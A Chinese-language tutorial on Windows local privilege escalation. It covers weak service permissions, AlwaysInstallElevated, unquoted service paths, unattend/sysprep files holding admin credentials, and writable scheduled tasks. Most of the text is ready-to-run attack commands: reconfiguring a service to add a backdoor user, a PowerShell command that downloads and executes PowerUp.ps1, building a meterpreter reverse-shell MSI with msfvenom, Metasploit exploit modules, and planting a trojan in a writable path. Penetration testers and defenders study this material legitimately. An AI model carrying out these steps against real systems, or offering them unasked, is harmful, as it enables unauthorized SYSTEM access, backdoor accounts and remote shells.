系统服务权限配置错误
Windows系统服务文件在操作系统启动时加载并执行,并调用可执行文件。因此,如果一个低权限用户对这些调用的可执行文件拥有可写权限,就可以将该文件替换成任意可执行文件,并随着系统服务的启动获得系统权限,但一般情况下,Windows是以System权限执行的,因此,其文件夹、文件和注册表键值都是受到强访问控制机制保护的,但在某些情况下仍有些服务没有得到有效保护
方法一:
A、先用accesschk.exe工具查看当前用户可修改的服务
accesschk.exe -uwcqv "XXX" * /accepteula > 1.txt //XXX为当前用户名
AccessChk参数介绍
-a:Windows账户权限,* 用于显示所有服务
-c:显示服务名称,* 用于显示所有服务
-d:仅处理目录或顶级键
-e:只显示显式设置的完整性级别
-f:显示包含组和特权的完整过程令牌信息
-k:注册表键值,例如"hklm\software"
-I:在取消全部访问控制列表时忽略只继承继承符的对象
-l:显示全部访问控制列表,添加"-I"将忽略继承ACE
-n:仅显示没有访问权限的对象
-o:名称是对象管理器命名空间中的一个对象(默认为root)。查看一个目录的内容
-p:进程名或者PID
-q:省略标识
-r:显示对象只读属性
-s:递归
-t:对象类型筛选器
-u:抑制错误
-v:冗长
-w:仅显示具有写访问权限的对象
-accepteula:自动接收许可协议,否则第一次运行会弹出许可协议对话框。
如果出现SERVICE_ALL_ACCESS则表示当前用户拥有修改该服务的权限
B、查看该服务启动时的权限
sc qc VMtools
START_TYPE:启动类型,DEMAND_START(手动)、AUTO_START(自动)、DISABLED(已禁用)
BINARY_PATH_NAME:可执行文件路径,每次启动服务时,都会根据这个路径去查找
DEPENDENCIES:依赖的服务
SERVICE_START_NAME:服务运行账号(如果值为LocalSystem表示以系统权限执行)
C、然后修改执行文件路径为我们想要执行的命令
sc config VMTools binPath= "net user test1 abc123! /add" //注意这里的"="后面要留有空格
sc qc VMTools //查看查询该服务的执行路径是否修改成功
D、重启VMTools服务
sc stop VMTools
sc start VMTools
但要注意这里启动时会报错,因为当一个服务在Windows系统中启动后,它必须和服务控制管理器通信。如果没有通信,服务控制管理器会认为出现了错误,并会终止这个进程。但是我们的命令已经以SYSTEM权限运行了,并且成功添加了一个用户
方法二:
利用PowerUp.ps1脚本,该脚本工具集成在PowerSploit工具中
远程调用该脚本
powershell.exe -exec bypass -nop -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1'); Invoke-AllChecks"
如果远程访问不了,就在本地调用,将PowerUp.ps1上传服务器后,执行
powershell.exe -exec bypass -Command "& {Import-Module D:/PowerUp.ps1; Invoke-AllChecks}" > 1.txt
PowerUp列出了所有可能存在问题的服务
ServiceName:可能存在漏洞的服务
Path:该服务的可执行程序的路径
StartName:服务运行账号
AbuseFunction:利用方式
根据AbuseFunction中的利用方式执行脚本,这里以VGAuthService服务为例
添加一个名为at,密码为abc123!的账号
powershell.exe -exec bypass -Command "& {Import-Module C:/PowerUp.ps1;Invoke-ServiceAbuse -Name 'VGAuthService' -Username at -Password abc123!}"
方法三:
Metasploit工具
msf中的service_permissions模块,选择”AGGRESSIVE”选项为true,可以利用目标机器上的每一个有缺陷的服务。该模块使用两种方法获得System权限,如果meterpreter以管理员权限运行,该模块会尝试创建一个新的服务;但如果当前权限不允许创建服务,该模块就会判断哪些服务的文件或文件夹的权限有问题,并允许对其进行劫持,在创建服务或者已经劫持的服务时,该模块会创建一个可执行程序,其文件名和安装路径都是随机的。
use exploit/windows/local/service_permissions
set AGGRESSIVE true
set session 1
exploit
AlwaysInstallElevated提权
注册表键AlwaysInstallElevated是一个策略设置项,Window允许低权限用户以System权限运行安装文件,如果启用此策略设置项,那么任何权限的用户都能以NT AUTHORITY\SYSTEM权限来运行恶意的MSI文件
查看是否启用了AlwaysInstallElevated策略
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
如果未启用AlwaysInstallElevated策略,返回结果如下
如果管理员开启了AlwaysInstallElevated策略,返回结果如下
管理员启动AlwaysInstallElevated策略命令如下
reg add HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
如果管理员启动了AlwaysInstallElevated策略,那么低权限用户就能以NT AUTHORITY\SYSTEM权限来运行恶意的MSI文件
方法一:
PowerUp.ps1脚本
本地执行
powershell.exe -exec bypass -Command "& {Import-Module C:/PowerUp.ps1; Get-RegistryAlwaysInstallElevated}"
返回为true则表示该策略设置项已经设置
接着执行如下命令会在当前路径生成UserAdd.msi程序
powershell.exe -exec bypass -Command "& {Import-Module C:/PowerUp.ps1;Write-UserAddMSI}"
最后执行UserAdd.msi文件
msiexec /q /i UserAdd.msi
之后会弹出一个User Add的框,输入账号密码,要添加的用户组后,点击”Create”,注意设置的密码要符合密码复杂度
创建完成后,查看用户是否创建成功
方法二:
Metasploit工具
msf下执行
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.45.130 LPORT=4444 -a x86 --platform Windows -f msi -o 1.msi
将1.msi上传至服务器,执行
msiexec /q /i 1.msi
msf收到system权限的shell
或者使用exploit/windows/local/always_install_elevated模块
可信任服务路径提权
可信任服务路径漏洞利用了Windows文件路径解析的特性,如果一个服务调用的可执行文件没有正确地处理所引用的完整路径名,同时攻击者该文件路径有可写权限,攻击者就可以上传文件来劫持路径名。
例如Windows系统启动某服务时查找的文件路径为”C:\Program Files\Some Folder\Services.exe”。
对于该路径中的每一个空格,Windows都会尝试并执行与空格前面的名字相匹配的程序,因此Windows会以依次如下顺序查找一下启动程序
C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Services.exe
此时如果我们对C:\路径或者C:\Program Files有可写的权限,就可以上传Program.exe或Some.exe程序到相应目录下,当服务重新启动时,就会以System权限执行我们上传的恶意程序
方法一:
首先先查找目标主机中没有被引号引起来的服务的路径
wmic service get name,displayname,pathname,startmode|findstr /i "Auto" |findstr /i /v "C:\Windows\" |findstr/i /v """
接着查看是否有对目标文件夹的写权限,使用Windows内置工具icacls,以此检查各级路径
以VMTools为例
VMTools的路径为C:\Program Files\VMware\VMware Tools\vmtoolsd.exe
依次执行
icacls "C:"
icacls "C:\Program Files"
icacls "C:\Program Files\VMware"
依次查看各级目录是否有可写权限,最后找到C:\Program Files\VMware目录
Everyone(OI)(CI)(F)表示所有用户都具有修改这个文件夹的权限
M:修改
F:完全控制
CI:从属容器将继承访问控制项
OI:从属文件将继承访问控制项
最后将msf生成的远控木马重命名为VMware.exe,放到C:\Program Files\VMware目录下。这样当系统重启VMTools服务后,原本应该查找C:\Program Files\VMware\VMware Tools\vmtoolsd.exe程序,但实际结果查找的是 C:\Program Files\VMware\VMware.exe程序。
最后重启VMTools服务,如果当前用户没有权限重启服务,那么就重启目标主机,重启之后,msf接收到弹回的meterpreter。
但要注意的是反弹的meterpreter会很快中断,因为当一个进程在windows系统启动后必须与服务控制管理器进行通信,如果没有通信,服务控制管理器会认为出现了错误,从而终止了该进程,因此在终止进程前需要自行将它迁移到别的进程中。
方法二:
Metasploit工具下的exploit/windows/local/trusted_service_path模块
自动安装配置文件
管理员在内网给多台机器配置同一环境时,可能会使用脚本统一部署,在这一过程中,会使用安装配置文件,这些文件包含所有的安装配置信息,有些可能包含本地管理员账号信息,这些文件列举如下
C:\sysprep.inf
C:\sysprep\sysprep.xml
C:\Windows\system32\sysprep.inf
C:\Windows\system32\sysprep\sysprep.inf
C:\unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\System32\Sysprep\unattend.xml
C:\Windows\System32\Sysprep\Panther\unattend.xml
Metasploit相关利用模块
post/windows/gather/enum_unattend
计划任务提权
如果攻击者对以高权限运行的计划任务所在目录具有所写权限,就可以使用恶意程序覆盖原来的程序,这样,在计划任务下次执行时就会以高权限来运行恶意程序。
查看计算机上的全部计划任务
schtasks /query /fo LIST /v > 1.txt //cmd下查看
Get-ScheduledTask //powershell下查看
去掉包含 /Microsoft/Windows/ 路径的默认的计划任务
Get-ScheduledTask | Select * | ? {($_.TaskPath -notlike "\Microsoft\Windows\*") -And ($_.Principal.UserId -notlike "*$env:UserName*")} | Format-Table -Property State, Actions, Date, TaskPath, TaskName, @{Name="User";Expression={$_.Principal.userID}}
查看某个目录的权限配置情况
accesschk64.exe -dqv "c:\360safe"
如果攻击者对某个高权限的计划任务所在的路径有可写权限,可使用恶意程序覆盖原来的程序,当计划任务下次执行时,就会以高权限运行恶意程序。